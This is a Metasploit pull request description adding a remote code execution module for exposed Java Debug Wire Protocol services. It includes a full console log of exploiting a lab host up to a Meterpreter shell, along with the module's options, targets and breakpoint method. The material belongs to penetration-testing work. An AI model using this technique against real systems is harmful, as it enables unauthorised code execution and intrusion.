rapid7/metasploit-framework — pull request #3407 by julianvilas (2014-05-29 22:03:00+00:00)
Title: Add JDWP RCE for Windows and Linux

The module exploits Java Debugging Wire Protocol services on Windows and Linux systems.

Has been tested on Ubuntu 12.04 x86, with Apache Tomcat 6 & 7 and OpenJDK 1.7
```
[*] Started bind handler
[*] 172.16.218.161:8123 - Checking for Java Debugging Wire Protocol
[*] 172.16.218.161:8123 - Sending the handshake...
[*] 172.16.218.161:8123 - Parsing list of classes...
[*] 172.16.218.161:8123 - 2014-05-29 21:41:30 UTC - Parsed 1000 classes of 2526
[*] 172.16.218.161:8123 - 2014-05-29 21:41:32 UTC - Parsed 2000 classes of 2526
[*] 172.16.218.161:8123 - Setting breakpoint on class: java.net.ServerSocket.accept
[*] 172.16.218.161:8123 - Waiting for breakpoint hit 0 during 30 seconds...
[*] 172.16.218.161:8123 - Received matching event from thread 2527
[*] 172.16.218.161:8123 - Executing payload on "Linux", target version: OpenJDK Client VM - 1.7.0_09
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 172.16.218.161
[*] Meterpreter session 1 opened (172.16.218.1:49249 -> 172.16.218.161:4444) at 2014-05-29 23:41:50 +0200
[+] Deleted /tmp/j3kaK

meterpreter > getuid
Server username: uid=117, gid=126, euid=117, egid=126, suid=117, sgid=126
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.2.0-35-generic-pae #55-Ubuntu SMP Wed Dec 5 18:04:39 UTC 2012 (i686)
Architecture : i686
Meterpreter : x86/linux
```

```
msf exploit(java_jdwp_debugger) > show options

Module options (exploit/multi/misc/java_jdwp_debugger):

Name Current Setting Required Description
---- --------------- -------- -----------
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOST 172.16.218.160 yes The target address
RPORT 8123 yes The target port
STATUS_EVERY 1000 yes How many iterations until status
TMP_PATH /tmp/ no Overwrite the temp path for the file upload. Ensure there is a trailing slash
VHOST no HTTP server virtual host
```

```
msf exploit(java_jdwp_debugger) > show targets

Exploit targets:

Id Name
-- ----
0 Windows x86 (Native Payload)
1 Linux x86 (Native Payload)
```

```
Name : BREAK_CLASS
Current Setting: java.net.ServerSocket.accept
Description : Frequently called method for setting breakpoint

Name : BREAK_TIMEOUT
Current Setting: 30
Description : Number of seconds to wait for a breakpoint hit
...SNIP...
Name : NUM_RETRIES
Current Setting: 10
Description : Number of retries when waiting for event
...SNIP...
```

By default, the breakpoint event necessary for getting an execution thread is set on "java.net.ServerSocket.accept". In this case is necessary to force some network traffic against the debugged application (if it's not receiving traffic by itself).

Working on:
-Add java platform support
-Give option to autogenerate network traffic for hitting the breakpoint -> send_request_cgi is not working as I expected while passing rport and rhost options, they're ignored (continues using target.host and target.port)